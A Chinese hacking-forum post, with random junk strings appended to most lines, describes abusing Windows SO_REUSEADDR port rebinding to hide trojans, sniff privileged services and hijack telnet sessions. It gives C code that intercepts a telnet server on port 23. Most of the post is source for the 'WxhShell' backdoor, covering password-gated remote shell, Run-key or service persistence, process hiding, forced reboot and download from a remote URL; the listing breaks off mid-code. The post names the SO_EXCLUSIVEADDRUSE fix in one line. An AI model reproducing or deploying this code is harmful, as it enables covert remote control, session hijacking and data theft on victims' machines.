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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cq"#[y$r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o0 |T<_  
T!X`"rI  
  saddr.sin_family = AF_INET; +!cibTQTT  
1b,MJ~g$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c>%%'c  
dZ|x `bIgs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $&X-ay o  
L>&9+<-B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c&'5r OY~  
[w{x+6uX'  
  这意味着什么?意味着可以进行如下的攻击: |ngv{g  
{F ',e~}s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #CRd@k ?  
ymb{rKkN3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m[qW)N:w  
_)ZxD--Qg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;T :]?5W!  
VQ8Q=!]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4u= v  
Kh7C7[&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R1~wzy  
,}/6Za  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )x3p7t)#  
W!V-m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]([^(&2  
IG90mpLX  
  #include 9`td_qh  
  #include R!rj:f!>  
  #include ~EM(*k._  
  #include    |#ZMZmo{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'x<o{Hi"\B  
  int main() (W |;gQ  
  { .'bhRQY  
  WORD wVersionRequested; J1Run0  
  DWORD ret; @_0tq{  
  WSADATA wsaData; uxlrJ1~M  
  BOOL val; v}TFM  
  SOCKADDR_IN saddr;  {gb` %J  
  SOCKADDR_IN scaddr; %5!K?,z%  
  int err; dWP<,Z>  
  SOCKET s; R$bDj >8  
  SOCKET sc; SBg|V  
  int caddsize; m4?a'z"  
  HANDLE mt; qIwsK\^p  
  DWORD tid;   l4ru0V8s7  
  wVersionRequested = MAKEWORD( 2, 2 ); 3fxcH  
  err = WSAStartup( wVersionRequested, &wsaData ); ^s\T<;  
  if ( err != 0 ) { 4{ [d '-H5  
  printf("error!WSAStartup failed!\n"); 5c$\DZ(  
  return -1; z) x.6  
  } XD Q<28^  
  saddr.sin_family = AF_INET; Sym}#F\s  
   ]]P@*4!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4"veqrC  
` <u2 N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M9Xq0BBu  
  saddr.sin_port = htons(23); + />f?+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 06e dVIRr  
  { $f=6>Kn|^]  
  printf("error!socket failed!\n"); ~l}\K10L*  
  return -1; 5 zz">-Q !  
  } >qZl s'  
  val = TRUE; 3)y=}jw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 06z+xxCo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a SMoee@!  
  { 4UHviuOo8  
  printf("error!setsockopt failed!\n"); B.:1fT7lI  
  return -1; z9E*1B+  
  } S$ k=70H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <m~{60{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zKT4j1 h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EHK+qrym  
:LCyxLI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {DZ xK(  
  { _'l"Dk  
  ret=GetLastError(); O l;DJV  
  printf("error!bind failed!\n"); xnHB <xrE}  
  return -1; 5\}E4y  
  } qRHT~ta-?  
  listen(s,2); 2I283%xr  
  while(1) QD-`jV3  
  { Lngf,Of.e  
  caddsize = sizeof(scaddr); dDa&:L  
  //接受连接请求 QH_Ds,oH=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x[xRqC vL  
  if(sc!=INVALID_SOCKET) aYM~Ub:x{  
  { )iid9K<HB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /D964VR1M\  
  if(mt==NULL) 3taGb>15  
  { ^6J*:(eM  
  printf("Thread Creat Failed!\n"); ^^F 8M0k3  
  break; jVh:Bw  
  } WF:4p]0~)  
  } @^/aS;B$>  
  CloseHandle(mt); E u<f  
  } - ,?LS w  
  closesocket(s); O[\mPFu5  
  WSACleanup(); <s%Ft  
  return 0; 1OV] W f  
  }   -/2B fIq  
  DWORD WINAPI ClientThread(LPVOID lpParam) @$iZ9x6t  
  { = 5[%%Lf  
  SOCKET ss = (SOCKET)lpParam; nw_s :  
  SOCKET sc; L4Kg%icz l  
  unsigned char buf[4096]; al9( 9)  
  SOCKADDR_IN saddr; _%Yi ^^  
  long num; Uq~b4X$  
  DWORD val; 3D^cPkX  
  DWORD ret; vK`HgRQ(C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '$rCV,3q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {+GR/l\!#  
  saddr.sin_family = AF_INET; !c dY`f6x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K-@\";whF  
  saddr.sin_port = htons(23); mX!*|$bs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sWB@'P:x  
  { ([^#.x)hz  
  printf("error!socket failed!\n"); I@\D tQZ  
  return -1; w=3 j'y{f  
  } y0-UO+ ;  
  val = 100; }Q@~_3,UJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "n)AlAV@  
  { =:!>0~  
  ret = GetLastError(); :LlZ#V2  
  return -1; A}}dc:$C  
  } 6nR EuT'k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3SI0etVr  
  { 5W$Jxuyqj  
  ret = GetLastError(); i+pQ 7wx  
  return -1; c&,q`_t  
  } oz]&=>$1I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \ \Tz'>[\  
  {  D[}^G5  
  printf("error!socket connect failed!\n"); t&NpC;>v  
  closesocket(sc); RWX!d54&  
  closesocket(ss); <1B+@  
  return -1; y?P`vHf  
  } p w5{=bD  
  while(1) KV8<'g+2?  
  { qj `C6_?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |)C *i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Dv L8}dz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X;2LK!x;y  
  num = recv(ss,buf,4096,0); fms(_Q:R?  
  if(num>0) cA|vH^:  
  send(sc,buf,num,0); sOiM/} O]  
  else if(num==0) L[A?W  
  break; #ti%hm  
  num = recv(sc,buf,4096,0); t72rCq QC  
  if(num>0) KU*aJl_n,  
  send(ss,buf,num,0); Lis>Qr  
  else if(num==0) ^\kH^   
  break; HTz`$9  
  } /HS"{@Z"h  
  closesocket(ss); tbiM>qxB  
  closesocket(sc); X/90S2=P  
  return 0 ; F#M(#!)Y"  
  } ^sFO[cYo  
+ d3  
pT3icy!A=  
========================================================== E/*&'Osq  
cIG7 Q"4  
下边附上一个代码,,WXhSHELL "a}fwg9Y  
z6rT<~xZtu  
========================================================== PHEQG]H S  
kU=U u>  
#include "stdafx.h" ^Il*`&+?P  
`C C=?E  
#include <stdio.h> &6 <a<S  
#include <string.h> h_+  
#include <windows.h> PB7-`uz  
#include <winsock2.h> j;7E+Yp  
#include <winsvc.h> D6l. x]K  
#include <urlmon.h> ?FjnG_Uz`D  
YYPJ (o\  
#pragma comment (lib, "Ws2_32.lib") -zn_d]NV  
#pragma comment (lib, "urlmon.lib") 5V\",PA W  
JAP(J~  
#define MAX_USER   100 // 最大客户端连接数 B2P@9u|9  
#define BUF_SOCK   200 // sock buffer Hk@Gkx_  
#define KEY_BUFF   255 // 输入 buffer 02trjp.f  
ciiI{T[Z  
#define REBOOT     0   // 重启 '21gUYm  
#define SHUTDOWN   1   // 关机 )wCNLi>4  
T_=WX_h $  
#define DEF_PORT   5000 // 监听端口 CfSP*g0rW  
3Jt# Mp  
#define REG_LEN     16   // 注册表键长度 xE]y*\  
#define SVC_LEN     80   // NT服务名长度 W]7/ e  
=-X-${/  
// 从dll定义API {jmy:e2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |3yG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qubu;[0+a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `]XI Q\ *  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _oCNrjt9  
7`&ISRU4  
// wxhshell配置信息 |*UB/8C^/!  
struct WSCFG { qy)~OBY  
  int ws_port;         // 监听端口 {srxc4R`  
  char ws_passstr[REG_LEN]; // 口令 MuQ)F-GSUu  
  int ws_autoins;       // 安装标记, 1=yes 0=no _8 |X820  
  char ws_regname[REG_LEN]; // 注册表键名 i,a"5DR8  
  char ws_svcname[REG_LEN]; // 服务名 Iia.`"S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A;RV~!xx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^bfZd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z[d13G;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'ScvteQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L 1!V'Hm{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e@anX^M;  
)X[2~E  
}; / + %  
nHk^trGm  
// default Wxhshell configuration :op_J!;  
struct WSCFG wscfg={DEF_PORT, ],S {?!'1  
    "xuhuanlingzhe", 9jqsEd-SW  
    1, @v2ko5  
    "Wxhshell", A$5M.  
    "Wxhshell", FA$32*v  
            "WxhShell Service", rf:H$\yw  
    "Wrsky Windows CmdShell Service", HOFxOBV  
    "Please Input Your Password: ", kDWEgnXK,v  
  1, 7#%Pry  
  "http://www.wrsky.com/wxhshell.exe", LlO8]b!P-^  
  "Wxhshell.exe" @x+2b0 b  
    }; j;Z?q%M{6  
T-6<qh  
// 消息定义模块 m 0vW<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0FI |7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -|KZOea  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z<vh8dNl  
char *msg_ws_ext="\n\rExit."; 4,c6VCw3+  
char *msg_ws_end="\n\rQuit."; Z%B6J>;uM  
char *msg_ws_boot="\n\rReboot..."; X(*O$B{ R  
char *msg_ws_poff="\n\rShutdown..."; bNVeL$'  
char *msg_ws_down="\n\rSave to "; w,FPL&{  
&4S2fWx  
char *msg_ws_err="\n\rErr!"; L}Y.xi  
char *msg_ws_ok="\n\rOK!"; jJNCNH*0  
y"q>}5  
char ExeFile[MAX_PATH]; o!":mJy  
int nUser = 0; y7fy9jQ 8.  
HANDLE handles[MAX_USER]; SnmUh~`L~  
int OsIsNt; %}VH5s9\  
3S7"P$q  
SERVICE_STATUS       serviceStatus; z77>W}d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @e GBF Ns  
>VkBQM-%  
// 函数声明 DJ:'<"zH7  
int Install(void); 0~^RHb.NA8  
int Uninstall(void); mQ"uG?NE  
int DownloadFile(char *sURL, SOCKET wsh); pLtw|S'4  
int Boot(int flag); ud$-A  
void HideProc(void); E6-*2U)k+  
int GetOsVer(void); M lR~`B}m  
int Wxhshell(SOCKET wsl); /z*Z+OT2  
void TalkWithClient(void *cs); tj[E!  
int CmdShell(SOCKET sock); KRC"3Qt  
int StartFromService(void); u/u(Z&  
int StartWxhshell(LPSTR lpCmdLine); c Pf_B=  
U*$xR<8v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OpEH4X.Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F. SB_S<'  
j/d}B_2  
// 数据结构和表定义 K8_v5  
SERVICE_TABLE_ENTRY DispatchTable[] = HT.*r6Y>g  
{ yQ N{)rv  
{wscfg.ws_svcname, NTServiceMain}, ^D$|$=|DH  
{NULL, NULL} \xCCJWek  
}; h&$h<zL[  
yEI@^8]s  
// 自我安装 ezp%8IZ;  
int Install(void) UgC65O2  
{ bT^dtEr[  
  char svExeFile[MAX_PATH]; 7*{f*({  
  HKEY key; L!If~6oD(  
  strcpy(svExeFile,ExeFile); ZhA_d#qH  
sjg`4^!wDD  
// 如果是win9x系统,修改注册表设为自启动 Q7$o&N{  
if(!OsIsNt) { "a8E0b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .PUp3X-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !{t|z=Qg  
  RegCloseKey(key); #;j:;LRU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WI/tWj0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ec@n<KK#  
  RegCloseKey(key); *(?Wzanh  
  return 0; Sz go@x$^  
    } wwB3m&  
  } Lz'VQO1U=  
} *7jz(iX  
else { 0B]q /G(  
6(f 'P_*  
// 如果是NT以上系统,安装为系统服务 pi?MAE*f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gs,:$Im  
if (schSCManager!=0) -V|"T+U  
{ %'=*utOxy  
  SC_HANDLE schService = CreateService zXn-E  
  ( PC#^L$cg}  
  schSCManager, #_wq#rF  
  wscfg.ws_svcname, $s/E } X  
  wscfg.ws_svcdisp, >5t%_/yeB  
  SERVICE_ALL_ACCESS, 64zOEjra  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5*pzL0,Y  
  SERVICE_AUTO_START, AAevN3a#nI  
  SERVICE_ERROR_NORMAL, vt|R)[,  
  svExeFile, g 4[Vgmh J  
  NULL, !wfW0?eu  
  NULL, 9Ux(  
  NULL, ,RV qYh(-|  
  NULL, _{Kmj,q  
  NULL Cku"vVw,  
  ); bP&QFc  
  if (schService!=0) ixd sz\<  
  { 0D s3wNz  
  CloseServiceHandle(schService); 20;9XJmjl  
  CloseServiceHandle(schSCManager); v 3I^81  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W&?Qs=@  
  strcat(svExeFile,wscfg.ws_svcname);  <OMwi9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "<!U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aixX/se  
  RegCloseKey(key); *9aJZWf>V  
  return 0; $v|W2k  
    } o8bdL<  
  } ^}_Ka//k  
  CloseServiceHandle(schSCManager); WTJ 0Q0U  
} 'u7-Qetj  
} hxO}'`:  
bO=|utpk  
return 1; h+FM?ct6}  
} &0F' Ca  
`@/)S^jBau  
// 自我卸载 HeRi67  
int Uninstall(void) L=r*bq  
{ *VZ|Idp  
  HKEY key; hH8&g%{2  
$ F2Uv\7=  
if(!OsIsNt) { dZU#lg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iVXt@[  
  RegDeleteValue(key,wscfg.ws_regname); lK0ny>RB  
  RegCloseKey(key); [0 F~e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $.SBW=^V  
  RegDeleteValue(key,wscfg.ws_regname); \#{PV\x:Nn  
  RegCloseKey(key); *; Jb=  
  return 0; ANM#Kx+  
  } P8tdT3*6/  
} H3A$YkK [  
} 2r, c{Ah@D  
else { UlYFloZ  
@r TB&>`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b(Nv`'O  
if (schSCManager!=0) =RQF::[h  
{ 52w@.]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fZGY'o&5  
  if (schService!=0) G,u=ngZ]  
  { R6+)&:Ab{R  
  if(DeleteService(schService)!=0) { 'NEl`v*<P  
  CloseServiceHandle(schService); cgg6E O(  
  CloseServiceHandle(schSCManager); b3ohTmy4(  
  return 0; YV O$`W^N  
  } S /hx\TzC  
  CloseServiceHandle(schService); ;M:AcQZ|_  
  } UVo`jb|> o  
  CloseServiceHandle(schSCManager); (Rw<1q`,  
} KGz Nj%  
} 1 /. BP  
A~?M`L>B  
return 1; IiU> VLa  
} XB)D".\  
$|N6I  
// 从指定url下载文件 {213/@,  
int DownloadFile(char *sURL, SOCKET wsh) NAGM3{\5v$  
{ |N.2iN:  
  HRESULT hr; nf.Ox.kM)  
char seps[]= "/"; -@pjEI  
char *token; VW-qQe  
char *file; B~p%pT S+  
char myURL[MAX_PATH]; D)d]o&  
char myFILE[MAX_PATH]; sg2;"E@  
i}-uK,^  
strcpy(myURL,sURL); AI|vL4*Xd  
  token=strtok(myURL,seps); "4N&T#  
  while(token!=NULL) 1[%3kY-h  
  { ?:(y  
    file=token; sy: xA w  
  token=strtok(NULL,seps); 4Yj1Etq.E  
  } .ZTvOm'mB^  
Ez3fL&*  
GetCurrentDirectory(MAX_PATH,myFILE); {w@qFE'b  
strcat(myFILE, "\\"); s|=lKa]d!"  
strcat(myFILE, file); Q Be6\oq  
  send(wsh,myFILE,strlen(myFILE),0); 380`>"D  
send(wsh,"...",3,0); @) Qgy}*5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V ao:9 ~  
  if(hr==S_OK) "-~ 7lY%  
return 0; |5&+VI  
else GEc6;uz<  
return 1; sPH 2KwEv  
3SVGx< ,2  
} F-&tSU,  
EL 5+pt  
// 系统电源模块 J<$@X JLS  
int Boot(int flag) ARH~dN*C  
{ akj<*,  
  HANDLE hToken; 3$|/7(M&DA  
  TOKEN_PRIVILEGES tkp; Pvxb6\G&d  
-`O{iHfM|P  
  if(OsIsNt) { f1 ;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G@]3EP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hfcpqa  
    tkp.PrivilegeCount = 1; Jj4 HJ9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I2Xd"RHN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @\K[WqF$$q  
if(flag==REBOOT) { ){^J8]b7#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cD!,ZL  
  return 0; &>sbsx\y  
} As:O|!F  
else { *dl hRa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NR4+&d  
  return 0; 8wU$kK  
} p.DQ|?  
  } s,z~qL6&  
  else { 19 !?oeOU  
if(flag==REBOOT) { PX:#+bq1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;Qi:j^+P)  
  return 0; q m3\) 9C  
} b1&tk~D  
else { fvu{(Tb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]Q^)9uE\D  
  return 0; Cf% qap#  
} ;%e&6  
} I/E9:  
.u-a+ac<  
return 1; f ,F X# _4  
} mZ)>^.N6  
}EK{UM9y  
// win9x进程隐藏模块 <,i4Ua  
void HideProc(void) 5'2kP{;  
{ KC/O EJ`  
{6i|"5_j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~?Zib1f)  
  if ( hKernel != NULL ) PR:k--)D  
  { bo0U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pv -4psdw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r!:yUPv  
    FreeLibrary(hKernel); |iM,bs  
  } HsY5wC  
-3Kh >b)  
return; 6o't3Peh  
} U4D7@KY +m  
rH@Rh}#yp  
// 获取操作系统版本 \8vP"Kr  
int GetOsVer(void) a4Q@sn;]  
{ }(EH5jZ'  
  OSVERSIONINFO winfo; e3I""D{)[=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /jv/qk3i  
  GetVersionEx(&winfo); 5.rAxdP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $dC`keQM>9  
  return 1; Sd7jd?#9'  
  else =L W!$p  
  return 0;  N' hT  
} lY%I("2=  
N>mW64_H)  
// 客户端句柄模块 .j}]J:{%  
int Wxhshell(SOCKET wsl) ORM>|&  
{ 7KC>?F  
  SOCKET wsh; HuhQ|~C+~  
  struct sockaddr_in client; \Y P,}_ ~  
  DWORD myID; E7Lqa S  
gV_v5sk  
  while(nUser<MAX_USER) q*I*B1p[m  
{ UU=]lWib  
  int nSize=sizeof(client); 0eY!Z._^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *22Vc2[i;  
  if(wsh==INVALID_SOCKET) return 1; qO6M5g:   
wgl<JO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ) Sn0Y B  
if(handles[nUser]==0) $xO8?  
  closesocket(wsh); m:@y_:X0  
else 8Qvs\TY  
  nUser++; 5`h$^l/  
  } lM-9J?j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $n<a`PdH  
h"FI]jK|}  
  return 0; =?5)M_6)  
} g'.OzD  
;1k& }v&  
// 关闭 socket E&U_1D9=L<  
void CloseIt(SOCKET wsh) >kXscbRL7  
{ :i.@d?  
closesocket(wsh); L(y70T  
nUser--; \|=6<ZY:  
ExitThread(0); oe<i\uX8z  
} u\\t~<8  
Hw \of  
// 客户端请求句柄 $/wm k7T  
void TalkWithClient(void *cs) e]4$H.dP  
{ 2<D| {  
X^\D"fmE.  
  SOCKET wsh=(SOCKET)cs; P6+ B!pY  
  char pwd[SVC_LEN]; nI:M!j5s`  
  char cmd[KEY_BUFF]; 5(>=};r+  
char chr[1]; ">}6i9o  
int i,j; s9Hxiw@D  
y:'Ns$+  
  while (nUser < MAX_USER) { 1wFu3fh@  
"i0>>@NR'  
if(wscfg.ws_passstr) { "*d6E}wG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \^)i!@v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a?[[F{X9^  
  //ZeroMemory(pwd,KEY_BUFF); Iz0$T.T  
      i=0; VN`.*B|9[  
  while(i<SVC_LEN) { 2KLMFI.F  
ibkB>n{(  
  // 设置超时 @KQ>DBWQM  
  fd_set FdRead; H4g8 1V=  
  struct timeval TimeOut; ] Lv3XMa  
  FD_ZERO(&FdRead); u)oAQ<w  
  FD_SET(wsh,&FdRead); $d<NN2  
  TimeOut.tv_sec=8; >@vu;j\*E5  
  TimeOut.tv_usec=0; b-u@?G|<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9nFL70  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VZ9 p "  
N/tcW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E)-;sFz  
  pwd=chr[0]; 7zu\tCWb  
  if(chr[0]==0xd || chr[0]==0xa) { ]8A*uyi  
  pwd=0; P< OH{l  
  break; }e\"VhAl/  
  } 2!#g\"  
  i++; #^}H)>jWy  
    } oU\]#e^  
Rqe. =+Qs  
  // 如果是非法用户,关闭 socket xfRp_;l+R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^KhJBM/Z  
} Y`g oV  
:\^b6"}8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )7 5 7   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HE&)N clY  
Fm`*j/rq  
while(1) { N@d~gE&^  
=u2 z3$  
  ZeroMemory(cmd,KEY_BUFF); DzVCEhf  
VrIN.x  
      // 自动支持客户端 telnet标准   HVa9b;  
  j=0; V0;"Qa@q  
  while(j<KEY_BUFF) { 7_\G|Zd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !v8R(  
  cmd[j]=chr[0]; [Hh*lKg  
  if(chr[0]==0xa || chr[0]==0xd) { !)bZ.1o  
  cmd[j]=0; ;W- A2g  
  break; z~t0l  
  } VeQGdyhY  
  j++; \5a.JfF  
    } UFj H8jSBx  
)Rn\6ka  
  // 下载文件 gX" -3w  
  if(strstr(cmd,"http://")) { Im6gWDdq@6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v0 C+DKi  
  if(DownloadFile(cmd,wsh)) O#D{:H_dD>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aM~IRLmK  
  else cKTjQJ#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ta\F~$M  
  } u8c@q'_  
  else { }ny7LQ  
#B\s'j[A"  
    switch(cmd[0]) { 2"D4q(@  
  k A3K   
  // 帮助 ]Thke 4  
  case '?': { t4oD> =,92  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rl}<&aPH  
    break; KKC%!Xy  
  } F!z ^0+H(  
  // 安装 8:0/Cj  
  case 'i': { h *R@ d  
    if(Install()) r^5%0_F]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8i',~[  
    else I8XP`Ccq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^6 wWv&G[8  
    break; lie,A  
    } ,zgz7  
  // 卸载 ,sitOy}ks  
  case 'r': { o< @![P  
    if(Uninstall()) )Fx]LeI;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @k i|# ro  
    else ps'_Y<@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xt|^~~ /  
    break;  v@EErF  
    } O50_qu33ju  
  // 显示 wxhshell 所在路径 ),yar9C  
  case 'p': { x$q}lJv_  
    char svExeFile[MAX_PATH]; z)M#9oAM  
    strcpy(svExeFile,"\n\r"); 9)wYSz'  
      strcat(svExeFile,ExeFile); sSU|N;"Y  
        send(wsh,svExeFile,strlen(svExeFile),0); wG49|!l6T  
    break; 254V)(t^QM  
    } \-yI dKj  
  // 重启 ].s;Yxz  
  case 'b': { wQG?)aaM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =mXC,<]  
    if(Boot(REBOOT)) JU17]gQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iyn9[>j e  
    else { Xf4~e(O  
    closesocket(wsh); =803rNe  
    ExitThread(0); vCP[7KhGj  
    } qb[hKp5K6  
    break; IL|Q-e}Ol  
    } Lf(( zk:pt  
  // 关机 3RaW\cWzg  
  case 'd': { _^W;J/He  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;qaPK2 a8  
